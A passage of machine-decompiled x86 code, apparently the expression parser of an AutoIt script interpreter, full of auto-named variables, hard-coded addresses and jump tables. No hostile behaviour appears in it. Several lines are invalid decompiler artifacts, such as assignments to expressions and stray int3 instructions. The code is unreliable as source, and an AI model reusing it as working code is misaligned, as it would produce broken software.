				void _t527;
				void** _t536;
				void* _t544;
				void* _t550;
				void* _t553;
				void* _t557;
				void* _t565;
				void _t566;
				void _t569;
				void* _t574;
				void* _t577;
				signed int _t587;
				signed int _t589;
				void* _t591;
				void* _t592;
				intOrPtr _t618;

				_t557 = __edx + 1;
				 *((intOrPtr*)(__edi - 0x28)) =  *((intOrPtr*)(__edi - 0x28)) + _t557;
				 *((intOrPtr*)(__ecx + 0x690040a1)) =  *((intOrPtr*)(__ecx + 0x690040a1)) + __ebx;
				asm("pushad");
				_t618 =  *((intOrPtr*)(_t557 + 2));
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t587 = _t589;
				_t591 = (_t589 & 0xfffffff8) - 0x84;
				_push(__ebx);
				_push(__edi);
				_v112 = __ebx;
				_t600 =  *0x4a9398 & 0x00000001;
				if(( *0x4a9398 & 0x00000001) == 0) {
					 *0x4a9398 =  *0x4a9398 | 0x00000001;
					 *0x4a9388 = 0;
					 *0x4a9390 = 1;
					 *0x4a9394 = 0;
					E00411421(__eflags, E00429292);
					_t591 = _t591 + 4;
				}
				_t577 = _a12;
				_push(8);
				_v96 = 1;
				_v95 = 0;
				_v128 = _t577;
				_v124 = 0;
				_v120 = 0;
				_v116 = 1;
				_v115 = 0;
				_t385 = E0041171A(1, 0, _t600);
				_t592 = _t591 + 4;
				if(_t385 == 0) {
					_t385 = 0;
				} else {
					 *_t385 = 0x14;
				}
				 *((intOrPtr*)(_t385 + 4)) = 0;
				_t574 = _a8;
				_t561 =  *((intOrPtr*)(_a4 + 4));
				_v100 = _t385;
				_v104 = 1;
				_v108 = 0x17;
				_v92 = ( *( *((intOrPtr*)(_a4 + 4)) +  *_t574 * 4))[2];
				while(1) {
					L5:
					_t527 =  *_t574;
					if(_t527 == _a16) {
						goto L10;
					}
					L6:
					_t393 =  *((intOrPtr*)(_a4 + 4));
					_t561 = _t393 + _t527 * 4;
					_t394 =  *(_t393 + _t527 * 4);
					if( *((short*)(_t394 + 8)) == 0x7f) {
						goto L10;
					}
					_t509 =  *((short*)(_t394 + 8));
					if(_t509 == 0x36) {
						_t510 = _v124;
						_v108 = 0x16;
						__eflags = _t510;
						if(_t510 != 0) {
							__eflags = _v115;
							if(__eflags == 0) {
								_push(0x18);
								_t395 = E0041171A(_t510, _t574, __eflags);
								_t592 = _t592 + 4;
								__eflags = _t395;
								if(_t395 == 0) {
									_t396 = 0;
								} else {
									_v136 = _t395;
									_t514 = _v136;
									E0040BD50(0x4a9388, _t514, _t527, _t574);
									_t396 = _t514;
									_t510 = _v124;
								}
								 *((intOrPtr*)(_t396 + 0x10)) = _v120;
								_v120 = _t396;
							} else {
								E00409210(_v120, _t527, _t587, 0x4a9388);
								_t510 = _v128;
								_v119 = 0;
							}
							L31:
							_t561 =  *_t574;
							_t398 =  *( *((intOrPtr*)(_a4 + 4)) +  *_t574 * 4);
							_t511 = _t510 + 1;
							_v124 = _t511;
							__eflags = _t511 - 1;
							if(_t511 != 1) {
								__eflags = _v115;
								_t561 = _v120;
								if(_v115 != 0) {
									_v136 =  *((intOrPtr*)(_t561 + 0x10));
								} else {
									_v136 = _t561;
								}
							} else {
								_v136 = _t577;
							}
							_t536 = _v136;
							_t512 =  *_t398;
							_t399 = _t536[3];
							__eflags = _t399;
							if(_t399 != 0) {
								E004436F6(_t512, _t574, _t587, _t399);
								_t536 = _v140;
								_t536[3] = 0;
							}
							_t401 = _t536[2];
							__eflags = _t401 - 8;
							if(_t401 == 8) {
								_t561 =  *_t536;
								__eflags = _t561;
								if(__eflags == 0) {
									goto L35;
								}
								 *0x48242c(_t561);
								_t561 =  *_v140;
								E004112EF(_t512,  *_v140, _t574, _t577, __eflags,  *_v140);
								_t592 = _t592 + 4;
								goto L39;
							} else {
								L35:
								__eflags = _t401 - 0xa;
								if(_t401 == 0xa) {
									_t537 =  *_t536;
									__eflags =  *_t536;
									if(__eflags != 0) {
										E0044478F(_t512, _t574, _t587, _t537);
									}
								} else {
									__eflags = _t401 - 5;
									if(_t401 == 5) {
										E0040E380(_v136, _t512, _t577);
									} else {
										__eflags = _t401 - 0xb;
										if(__eflags == 0) {
											_t561 =  *( *_v136 + 4);
											E004112EF(_t512,  *( *_v136 + 4), _t574, _t577, __eflags,  *( *_v136 + 4));
											E004112EF(_t512,  *( *_v136 + 4), _t574, _t577, __eflags,  *_v136);
											_t592 = _t592 + 8;
										} else {
											__eflags = _t401 - 0xc;
											if(__eflags == 0) {
												_t542 =  *_t536;
												__eflags =  *_t536;
												if(__eflags != 0) {
													E0044B3B8(_t512, _t561, _t574, _t587, _t542);
												}
											}
										}
									}
								}
								L39:
								_t402 = _v136;
								_push(0x10);
								 *_t402 = 0;
								 *(_t402 + 8) = 4;
								_t403 = E0041171A(_t512, _t574, __eflags);
								_t592 = _t592 + 4;
								__eflags = _t403;
								if(_t403 == 0) {
									_t403 = 0;
								} else {
									 *_t403 =  *_t512;
									 *((intOrPtr*)(_t403 + 4)) =  *((intOrPtr*)(_t512 + 4));
									_t561 =  *(_t512 + 8);
									 *(_t403 + 8) =  *(_t512 + 8);
									_t513 =  *(_t512 + 0xc);
									 *(_t403 + 0xc) = _t513;
									 *_t513 =  *_t513 + 1;
									__eflags =  *_t513;
								}
								 *(_v136 + 0xc) = _t403;
								_t404 = _v112;
								 *_t574 = 1 +  *_t574;
								__eflags =  *((char*)(_t404 + 0xfd));
								if( *((char*)(_t404 + 0xfd)) != 0) {
									_push(E0040D260( &_v128));
									E00457F49(_t561, __eflags, _t618);
									_t404 = _v116;
								}
								__eflags =  *((char*)(_t404 + 0xfe));
								if(__eflags != 0) {
									_t331 =  &_v132; // 0x106b0011
									_t409 = E0040D260(_t331);
									_t561 = _v116;
									_push(_t409);
									_push(_v116);
									L0047151F(_v116, __eflags, _t618);
								}
								while(1) {
									L5:
									_t527 =  *_t574;
									if(_t527 == _a16) {
										goto L10;
									}
									goto L6;
								}
							}
						}
						__eflags = _t577 - 0x4a9388;
						if(_t577 == 0x4a9388) {
							goto L31;
						}
						_t424 =  *(_t577 + 0xc);
						__eflags = _t424;
						if(_t424 != 0) {
							E004436F6(_t510, _t574, _t587, _t424);
							 *(_t577 + 0xc) = 0;
						}
						_t426 =  *(_t577 + 8);
						__eflags = _t426 - 8;
						if(_t426 == 8) {
							_t544 =  *_t577;
							__eflags = _t544;
							if(__eflags == 0) {
								goto L25;
							}
							 *0x48242c(_t544);
							E004112EF(_t510, _t561, _t574, _t577, __eflags,  *_t577);
							_t592 = _t592 + 4;
							goto L29;
						} else {
							L25:
							__eflags = _t426 - 0xa;
							if(_t426 == 0xa) {
								_t427 =  *_t577;
								__eflags = _t427;
								if(_t427 != 0) {
									E0044478F(_t510, _t574, _t587, _t427);
								}
							} else {
								__eflags = _t426 - 5;
								if(_t426 == 5) {
									E0040E380(_t577, _t510, _t577);
								} else {
									__eflags = _t426 - 0xb;
									if(__eflags == 0) {
										E004112EF(_t510,  *_t577, _t574, _t577, __eflags,  *((intOrPtr*)( *_t577 + 4)));
										E004112EF(_t510,  *_t577, _t574, _t577, __eflags,  *_t577);
										_t592 = _t592 + 8;
									} else {
										__eflags = _t426 - 0xc;
										if(_t426 == 0xc) {
											_t437 =  *_t577;
											__eflags = _t437;
											if(_t437 != 0) {
												E0044B3B8(_t510, _t561, _t574, _t587, _t437);
											}
										}
									}
								}
							}
							L29:
							 *(_t577 + 8) = 1;
							 *_t577 = 0;
							_t565 =  *0x4a9390; // 0x1
							 *(_t577 + 8) = _t565;
							_t428 =  *0x4a9390; // 0x1
							__eflags = _t428 - 1;
							if(_t428 != 1) {
								_t429 = _t428 - 1;
								__eflags = _t429 - 0xb;
								if(__eflags > 0) {
									goto L31;
								}
								switch( *((intOrPtr*)(_t429 * 4 +  &M0042F431))) {
									case 0:
										goto L30;
									case 1:
										_t430 =  *0x4a9388; // 0x0
										 *_t577 = _t430;
										_t545 =  *0x4a938c; // 0x0
										 *((intOrPtr*)(_t577 + 4)) = _t545;
										goto L31;
									case 2:
										__fp0 =  *0x4a9388;
										__eax = __eax + 0x4a9388;
										 *__esi = __fp0;
										goto L31;
									case 3:
										_push(0x10);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											 *(__esi + 0xc) = 0;
										} else {
											__ecx =  *0x4a9394; // 0x0
											__edx =  *__ecx;
											 *__eax =  *__ecx;
											__edx =  *(__ecx + 4);
											 *(__eax + 4) =  *(__ecx + 4);
											__edx =  *(__ecx + 8);
											 *(__eax + 8) = __edx;
											__ecx =  *(__ecx + 0xc);
											 *(__eax + 0xc) = __ecx;
											 *__ecx = 1 +  *__ecx;
											 *(__esi + 0xc) = __eax;
										}
										goto L31;
									case 4:
										_push(0x214);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__esi =  *0x4a9388; // 0x0
											__ebx = _v124;
											__ecx = 0x85;
											__edi = __eax;
											__eax = memcpy(__eax, __esi, 0x85 << 2);
											__esi + __ecx = __esi + __ecx + __ecx;
											__ecx = 0;
											__esi = _v128;
											__edi = _a8;
										}
										 *__esi = __eax;
										__eflags =  *(__eax + 4);
										if( *(__eax + 4) != 0) {
											__eax =  *(__eax + 4);
											 *__eax = 1 +  *__eax;
										}
										goto L31;
									case 5:
										__eax =  *0x4a9388; // 0x0
										 *__esi = __eax;
										goto L31;
									case 6:
										__ecx =  *0x4a9388; // 0x0
										 *__esi = __ecx;
										goto L31;
									case 7:
										__eflags =  *0x4a9388;
										__eflags = __eax - 0x4a9388;
										 *__edi =  *__edi + __cl;
										__eflags = __cl & __dl;
										__esp = 0x106afffd;
									case 8:
										__al =  *0x4a9388; // 0x0
										 *__esi = __al;
										goto L31;
									case 9:
										_push(0x18);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											goto L258;
										}
										__ecx =  *0x4a9388; // 0x0
										__eax = E0044B8A7(__eax, __ecx);
										 *__esi = __eax;
										goto L31;
									case 0xa:
										_push(8);
										__eax = E0041171A(__ebx, __edi, __eflags);
										 *__esi = __eax;
										__edx =  *0x4a9388; // 0x0
										__ecx =  *__edx;
										 *__eax =  *__edx;
										__edx =  *__esi;
										__eax =  *( *__esi);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eflags == 0) {
											_push(1);
											__eax = E0041171A(__ebx, __edi, __eflags);
											__ecx =  *__esi;
											 *( *__esi + 4) = __eax;
											__edx =  *__esi;
											__eax =  *(__edx + 4);
											__esp = __esp + 4;
											 *__eax = 0;
										} else {
											_push(__eax);
											__eax = E0041171A(__ebx, __edi, __eflags);
											__ecx =  *__esi;
											 *( *__esi + 4) = __eax;
											__eax =  *__esi;
											__edx =  *__eax;
											__ecx =  *0x4a9388; // 0x0
											__eax =  *(__eax + 4);
											__esp = __esp + 4;
											__edx =  *(__ecx + 4);
											__eax = E00410F70(__ebx, __edi, __esi, __eax,  *(__ecx + 4),  *(__ecx + 4));
										}
										goto L31;
									case 0xb:
										_push(0x14);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											L258:
											__eax = 0;
											 *__esi = 0;
											goto L31;
										}
										__ecx =  *0x4a9388; // 0x0
										_push(__ecx);
										_push(__eax);
										__eax = E0046E9CD();
										 *__esi = __eax;
										goto L31;
								}
							}
							L30:
							_t566 =  *0x4a9388; // 0x0
							 *_t577 = _t566;
							goto L31;
						}
					}
					if(_t509 < 0x37 || _t509 >= 0x41) {
						__eflags = _t509 - 5;
						if(_t509 != 5) {
							__eflags = _t509 - 0x51;
							if(__eflags > 0) {
								goto L10;
							}
							_t96 = _t509 + 0x40b32c; // 0xec8e
							switch( *((intOrPtr*)(( *_t96 & 0x000000ff) * 4 +  &M0040B2CC))) {
								case 0:
									__eax =  *__eax;
									__eflags = __eax - 4;
									if(__eax < 4) {
										L130:
										__eflags = __eax - 1;
										if(__eflags != 0) {
											__eax = __eax - 2;
											__eflags = __eax - 0x27;
											if(__eflags > 0) {
												goto L10;
											}
											__eax =  *(__eax + 0x42f3d9) & 0x000000ff;
											switch( *((intOrPtr*)(__eax * 4 +  &M0042F3C1))) {
												case 0:
													__ecx = 1 + __ecx;
													__ebx = 8;
													 *__edi = __ecx;
													goto L11;
												case 1:
													__ecx = 1 + __ecx;
													__ebx = 0xa;
													 *__edi = __ecx;
													goto L11;
												case 2:
													__edi = 0x4a9388;
													__esi =  &_v128;
													_v108 = 0x16;
													__eax = E0040C000(0x4a9388,  &_v128);
													_v72 = 1;
													__edx = _v72;
													_push(__edx);
													goto L171;
												case 3:
													__edi = 0x4a9388;
													__esi =  &_v128;
													_v108 = 0x16;
													__eax = E0040C000(0x4a9388,  &_v128);
													_v80 = 0;
													__ecx = _v80;
													_push(__ecx);
													L171:
													__eax =  &_v128;
													_push(E0040D260( &_v128));
													__eax = E00452D91();
													__edi = _a8;
													 *__edi = 1 +  *__edi;
													__esi = _v136;
													goto L5;
												case 4:
													__esp = __esp - 0x10;
													__edi = L"Default";
													__esi = __esp;
													_v108 = 0x16;
													E00401B70(__ebx, L"Default", __esp, __eflags) =  &_v28;
													_push( &_v28);
													__eax = E0044B8D6();
													__edi = 0x4a9388;
													__esi =  &_v148;
													__eax = E0040C000(0x4a9388, __esi);
													__ecx =  &_v48;
													__esi = E0040D260(__esi);
													__eax = _a8;
													 *_a8 = 1 +  *_a8;
													__ecx =  &_v48;
													__eax = E00402620(__ecx);
													__esi = _v156;
													__edi = _a8;
													goto L5;
												case 5:
													goto L10;
											}
										}
										__ecx = 1 + __ecx;
										__ebx = __eax + 6;
										 *__edi = __ecx;
										goto L11;
									}
									__eflags = __eax - 0x27;
									if(__eflags < 0) {
										goto L10;
									}
									goto L130;
								case 1:
									__edi = 0x4a9388;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E0040C000(0x4a9388,  &_v128);
									__eflags = _v124 - 1;
									if(_v124 != 1) {
										__eflags = _v115;
										if(_v115 == 0) {
											__eax = _v120;
										} else {
											__ecx = _v120;
											__eax =  *(_v120 + 0x10);
										}
									} else {
										__eax = _v128;
									}
									__edx = _a4;
									__ebx = _v112;
									__eax = _a8;
									__eax = E00409030(_a8, __ebx, __edx, __fp0, _a8);
									__eflags = __eax;
									if(__eax != 0) {
										goto L288;
									} else {
										__eflags =  *((intOrPtr*)(__ebx + 0xf8)) - 1;
										if(__eflags == 0) {
											goto L288;
										}
										__esi = _v128;
										__edi = _a8;
										goto L5;
									}
								case 2:
									__edi = 0x4a9388;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E0040C000(0x4a9388, __esi);
									__edi = _a8;
									__edx = _a4;
									__ecx =  *__edi;
									__eax =  *((intOrPtr*)(_a4 + 4));
									__eax =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
									__ecx =  *(__eax + 4);
									__ebx =  *__eax;
									__eax = __esi;
									_v32 = __ecx;
									__esi = E0040D260(__esi);
									__eax = E004092C0(__edi, __esi);
									__edx = _v32;
									 *(__esi + 8) = 2;
									 *__esi = __ebx;
									 *(__esi + 4) = __edx;
									 *__edi = 1 +  *__edi;
									__esi = _v128;
									goto L5;
								case 3:
									__edi = 0x4a9388;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E0040C000(0x4a9388, __esi);
									__edi = _a8;
									__ecx = _a4;
									__eax =  *__edi;
									__edx =  *((intOrPtr*)(_a4 + 4));
									__eax =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
									__fp0 =  *( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4));
									__eax = __esi;
									_v136 =  *( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4));
									__esi = E0040D260(__esi);
									__eax = E004092C0(__edi, __esi);
									__fp0 = _v136;
									 *__esi = __fp0;
									 *(__esi + 8) = 3;
									 *__edi = 1 +  *__edi;
									__esi = _v128;
									goto L5;
								case 4:
									__edi = 0x4a9388;
									__esi =  &_v128;
									__eax = E0040C000(0x4a9388,  &_v128);
									__esi = _a8;
									__eax =  *__esi;
									__edi = _a4;
									_t208 = __eax + 1; // 0x1
									__ecx = _t208;
									 *__esi = _t208;
									__edx =  *(__edi + 4);
									__eax =  *( *(__edi + 4) +  *__esi * 4);
									__eax =  *( *( *(__edi + 4) +  *__esi * 4));
									__edx =  *__eax;
									__esp = __esp - 0x10;
									 *__esp =  *__eax;
									__edx =  *(__eax + 4);
									_v160 =  *(__eax + 4);
									__edx =  *(__eax + 8);
									_v156 =  *(__eax + 8);
									__eax =  *(__eax + 0xc);
									_v152 = __eax;
									 *__eax = 1 +  *__eax;
									__eax =  &_v128;
									__eax = E0040D260( &_v128);
									__ebx = _v112;
									_push(__eax);
									_push(__ebx);
									__eax = L004705BB(__eflags, __fp0);
									__eflags = __eax;
									if(__eflags != 0) {
										__eax =  *__esi;
										__ecx =  *(__edi + 4);
										__edx =  *( *(__edi + 4) +  *__esi * 4 - 4);
										 *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)) = E0045E62E(__fp0, __ebx, 0x86,  *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)));
										L288:
										__ecx =  &_v128;
										_push( &_v128);
										goto L299;
									}
									__esi = _v140;
									__edi = _a8;
									_v120 = 0x16;
									goto L5;
								case 5:
									__edi = 0x4a9388;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E0040C000(0x4a9388,  &_v128);
									__eflags = _v124 - 1;
									if(__eflags != 0) {
										__eflags = _v115;
										if(__eflags != 0) {
											__ecx = _v120;
											__eax =  *(_v120 + 0x10);
										} else {
											__eax = _v120;
										}
									} else {
										__eax = _v128;
									}
									__edx = _a4;
									_push(__eax);
									__eax = _v112;
									_push(_a4);
									_push(_v112);
									__eax = _a8;
									__eax = E0040C300(_a8, __eflags, __fp0);
									__eflags = __eax;
									if(__eflags != 0) {
										__eax =  &_v140;
										_push( &_v140);
										goto L299;
									} else {
										__esi = _v140;
										__edi = _a8;
										goto L5;
									}
								case 6:
									__edi = 0x4a9388;
									__esi =  &_v128;
									__eax = E0040C000(0x4a9388, __esi);
									__edx =  &_v85;
									__esi = E0040D260(__esi);
									__esi = _v112;
									__eax = _a4;
									__eax = _a8;
									__eax = E00409A40(_a8, __eflags, __fp0, __esi, _a4, _a8,  &_v85);
									__eflags = __eax;
									if(__eax != 0) {
										goto L298;
									}
									__eflags =  *((intOrPtr*)(__esi + 0xf8)) - 1;
									if(__eflags == 0) {
										goto L298;
									}
									__esi = _v128;
									__edi = _a8;
									_v108 = 0x16;
									goto L5;
								case 7:
									__eflags = __ecx;
									if(__ecx <= 0) {
										L178:
										__esi = _v112;
										__edx = __esi + 0x488;
										__eax = E0043550E(__edx);
										__eflags = __al;
										if(__al == 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __esi, 0xa7,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__ecx =  &_v140;
											_push( &_v140);
											goto L299;
										}
										__eax = 0;
										__esp = __esp - 0x10;
										_v68 = 0;
										_v56 = 0;
										__eax = __edx;
										__ebx = __esp;
										_v60 = 1;
										__eax = E0040BD50(__edx, __ebx, __ecx, __edi);
										__ecx = _a4;
										__eax =  &_v68;
										_push( &_v68);
										_push(__edi);
										_push(_a4);
										__ecx = __esi;
										__eax = E0047D9CE(__esi, __eflags, __fp0);
										__eflags = __eax;
										if(__eax != 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __esi, 0x6e,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__esi =  &_v92;
											goto L297;
										}
										__edi =  &_v80;
										__esi =  &_v140;
										_v120 = 0x16;
										__eax = E0040C000(__edi,  &_v140);
										__esi = __edi;
										__eax = E004092C0(__edi, __edi);
										__esi = _v140;
										__edi = _a8;
										goto L5;
									}
									__eax =  *(__edx + 8) & 0x0000ffff;
									__eflags = __ax - 0x33;
									if(__ax == 0x33) {
										L176:
										__ebx = _v112;
										_push(1);
										_push(L"Variable must be of type \'Object\'.");
										_push(0);
										_push(0xa9);
										_push(__ebx);
										__eax = E004781AE(__fp0);
										__eflags = __eax;
										if(__eflags != 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __ebx, 0xa9,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__ecx =  &_v160;
											_push( &_v160);
											goto L299;
										}
										 *__edi = 1 +  *__edi;
										goto L5;
									}
									__eflags = __ax - 0x35;
									if(__ax != 0x35) {
										goto L178;
									}
									goto L176;
								case 8:
									__ecx = 1 + __ecx;
									__ebx = 5;
									 *__edi = __ecx;
									goto L11;
								case 9:
									__ecx = 1 + __ecx;
									__ebx = 1;
									 *__edi = __ecx;
									goto L11;
								case 0xa:
									__ebx = 0;
									__ecx = 1 + __ecx;
									 *__edi = __ecx;
									goto L11;
								case 0xb:
									__ecx = 1 + __ecx;
									__ebx = 4;
									 *__edi = __ecx;
									goto L11;
								case 0xc:
									__ecx = 1 + __ecx;
									__ebx = 3;
									 *__edi = __ecx;
									goto L11;
								case 0xd:
									__ecx = 1 + __ecx;
									__ebx = 2;
									 *__edi = __ecx;
									goto L11;
								case 0xe:
									__ecx = 1 + __ecx;
									__ebx = 0x12;
									 *__edi = __ecx;
									goto L11;
								case 0xf:
									__ecx = 1 + __ecx;
									__ebx = 0x13;
									 *__edi = __ecx;
									goto L11;
								case 0x10:
									__eax = _v108;
									__eflags = __eax - 0x16;
									if(__eflags != 0) {
										__eflags = __eax - 0x13;
										if(__eflags == 0) {
											goto L90;
										}
										__ebx = 0x11;
										L91:
										__ecx = 1 + __ecx;
										 *__edi = __ecx;
										goto L11;
									}
									L90:
									__ebx = 0xb;
									goto L91;
								case 0x11:
									__eax = _v108;
									__eflags = __eax - 0x16;
									if(__eflags == 0) {
										L156:
										__ebx = 0xc;
										L157:
										__ecx = 1 + __ecx;
										 *__edi = __ecx;
										goto L11;
									}
									__ebx = 0x10;
									__eflags = __eax - 0x13;
									if(__eflags != 0) {
										goto L157;
									}
									goto L156;
								case 0x12:
									__ecx = 1 + __ecx;
									__ebx = 0xe;
									 *__edi = __ecx;
									goto L11;
								case 0x13:
									_t508 = 0xd;
									 *_t574 = 1 + _t527;
									goto L11;
								case 0x14:
									__ecx = 1 + __ecx;
									__ebx = 9;
									 *__edi = __ecx;
									goto L11;
								case 0x15:
									__ecx = 1 + __ecx;
									__ebx = 6;
									 *__edi = __ecx;
									goto L11;
								case 0x16:
									__ecx = 1 + __ecx;
									__ebx = 0xf;
									 *__edi = __ecx;
									L11:
									_v136 = _t508;
									_v108 = _t508;
									do {
										_t528 = _v95;
										_t578 = _v100;
										if(_t528 != 0) {
											_t389 = _t578[1];
										} else {
											_t389 = _t578;
										}
										_t392 =  *( *_t389 * 0x15 + _t508 + 0x491ad0) & 0x000000ff;
										if(_t392 != 3) {
											__eflags = _t392 - 6;
											if(_t392 > 6) {
												L71:
												__eflags = _t508 - 7;
												if(_t508 == 7) {
													L135:
													__eflags = _v124;
													if(__eflags == 0) {
														L74:
														_t577 = _v128;
														while(1) {
															L5:
															_t527 =  *_t574;
															if(_t527 == _a16) {
																goto L10;
															}
															goto L6;
														}
														goto L10;
													}
													E0040BD50(E0040D260( &_v128),  &_v52, _t528, _t574);
													_t483 = E0040CFB0( &_v52);
													__eflags = _t483;
													if(_t483 == 0) {
														L279:
														__eflags = _v136 - 7;
														if(_v136 != 7) {
															L139:
															E004092C0(_t574,  &_v52);
															_t577 = _v128;
															goto L5;
														}
														_t580 = 8;
														L281:
														_t486 = E00442408(_a4, _t574);
														__eflags = _t486;
														if(_t486 != 0) {
															E0045E62E(_t618, _v112, 0x6e, _v92);
															_t581 =  &_v64;
															L297:
															E004092C0(_t574, _t581);
															L298:
															_push( &_v128);
															L299:
															E0044B92E();
															E004014E0( &_v108);
															_t493 = 1;
															L20:
															return _t493;
														}
														_t494 =  &_v128;
														__eflags = _v136 - _t580;
														if(_v136 != _t580) {
															_v76 = 0;
															_t561 = _v76;
															_push(_v76);
														} else {
															_v84 = 1;
															_push(_v84);
														}
														_push(E0040D260(_t494));
														E00452D91();
														E0040C250( &_v112);
														goto L139;
													}
													_t580 = 8;
													__eflags = _v136 - 8;
													if(_v136 == 8) {
														goto L281;
													}
													__eflags = _t483;
													if(_t483 == 0) {
														goto L279;
													}
													goto L139;
												}
												__eflags = _t508 - 8;
												if(__eflags == 0) {
													goto L135;
												} else {
													goto L74;
												}
											}
											switch( *((intOrPtr*)(_t392 * 4 +  &M0040B2B0))) {
												case 0:
													__eflags = _t528;
													if(__eflags != 0) {
														 *_t578 = _t508;
														_v95 = 0;
													} else {
														_push(8);
														_t498 = E0041171A(_t508, _t574, __eflags);
														_t592 = _t592 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															_t498 = 0;
														} else {
															 *_t498 = _t508;
														}
														 *(_t498 + 4) = _t578;
														_v100 = _t498;
													}
													_t93 =  &_v104;
													 *_t93 = _v104 + 1;
													__eflags =  *_t93;
													goto L71;
												case 1:
													goto L85;
												case 2:
													while(1) {
														__edx = _v100;
														__eflags = __cl;
														if(__cl == 0) {
															__eax = __edx;
														} else {
															__eax =  *(__edx + 4);
														}
														__eflags =  *__eax - 0x12;
														if( *__eax == 0x12) {
															break;
														}
														__eflags = __cl;
														if(__cl == 0) {
															__eax = __edx;
														} else {
															__eax =  *(__edx + 4);
														}
														__eflags =  *__eax - 0x14;
														if( *__eax == 0x14) {
															goto L293;
														} else {
															__edx =  &_v128;
															_push( &_v128);
															__eax =  &_v104;
															__eax = E0040B9E0( &_v104, __fp0);
															__eflags = __eax;
															if(__eax != 0) {
																goto L292;
															}
															__cl = _v99;
															continue;
														}
													}
													__esi =  &_v104;
													__eax = E0040C250(__esi);
													goto L71;
												case 3:
													goto L71;
												case 4:
													__eax = _v92;
													__ecx = _v112;
													__eax = E0045E62E(__fp0, _v112, 0x6b, _v92);
													goto L298;
												case 5:
													__eax = _v92;
													__ecx = _v112;
													__eax = E0045E62E(__fp0, _v112, 0x6c, _v92);
													goto L298;
												case 6:
													L293:
													__eax = _v92;
													__ecx = _v112;
													__eax = E0045E62E(__fp0, _v112, 0x6d, _v92);
													goto L298;
											}
										}
										if(_v124 != 1) {
											break;
										}
										_t501 = _v120;
										if(_t501 != 0) {
											_t584 = _t501;
											do {
												_t574 =  *(_t584 + 0x10);
												E004092C0(_t574, _t584);
												E004112EF(_t508, _t561, _t574, _t584, __eflags, _t584);
												_t592 = _t592 + 4;
												_t584 = _t574;
												__eflags = _t574;
											} while (__eflags != 0);
										}
										_t504 = _v100;
										_t611 = _t504;
										if(_t504 == 0) {
											L19:
											_t493 = 0;
											goto L20;
										} else {
											goto L18;
										}
										do {
											L18:
											_t585 =  *(_t504 + 4);
											E004112EF(_t508, _t561, _t574, _t585, _t611, _t504);
											_t592 = _t592 + 4;
											_t504 = _t585;
										} while (_t585 != 0);
										goto L19;
										L85:
										__ecx =  &_v128;
										_push( &_v128);
										__eax =  &_v104;
										__eax = E0040B9E0( &_v104, __fp0);
										__eflags = __eax;
									} while (__eflags == 0);
									L292:
									E0045E62E(_t618, _v116, 0x6e, _v96);
									goto L298;
								case 0x17:
									goto L10;
							}
						}
						_t517 = _v124;
						_v108 = 0x16;
						__eflags = _t517;
						if(_t517 != 0) {
							__eflags = _v115;
							if(__eflags != 0) {
								E00409210(_v120, _t527, _t587, 0x4a9388);
								_t517 = _v128;
								_v119 = 0;
							} else {
								_push(0x18);
								_t459 = E0041171A(_t517, _t574, __eflags);
								_t592 = _t592 + 4;
								__eflags = _t459;
								if(_t459 == 0) {
									_t460 = 0;
								} else {
									_v136 = _t459;
									_t521 = _v136;
									E0040BD50(0x4a9388, _t521, _t527, _t574);
									_t460 = _t521;
									_t517 = _v124;
								}
								 *((intOrPtr*)(_t460 + 0x10)) = _v120;
								_v120 = _t460;
							}
							L55:
							_t561 =  *_t574;
							_t443 =  *( *(_a4 + 4) +  *_t574 * 4);
							_t519 = _t517 + 1;
							_v124 = _t519;
							__eflags = _t519 - 1;
							if(_t519 != 1) {
								__eflags = _v115;
								if(_v115 != 0) {
									_t561 = _v120;
									_t520 =  *(_v120 + 0x10);
								} else {
									_t520 = _v120;
								}
							} else {
								_t520 = _t577;
							}
							_t550 =  *_t443;
							_t444 = _t520[3];
							_v136 = _t550;
							__eflags = _t444;
							if(_t444 != 0) {
								E004436F6(_t520, _t574, _t587, _t444);
								_t550 = _v140;
								_t520[3] = 0;
							}
							_t446 = _t520[2];
							__eflags = _t446 - 8;
							if(_t446 == 8) {
								_t561 =  *_t520;
								__eflags = _t561;
								if(__eflags == 0) {
									goto L59;
								}
								 *0x48242c(_t561);
								E004112EF(_t520, _t561, _t574, _t577, __eflags,  *_t520);
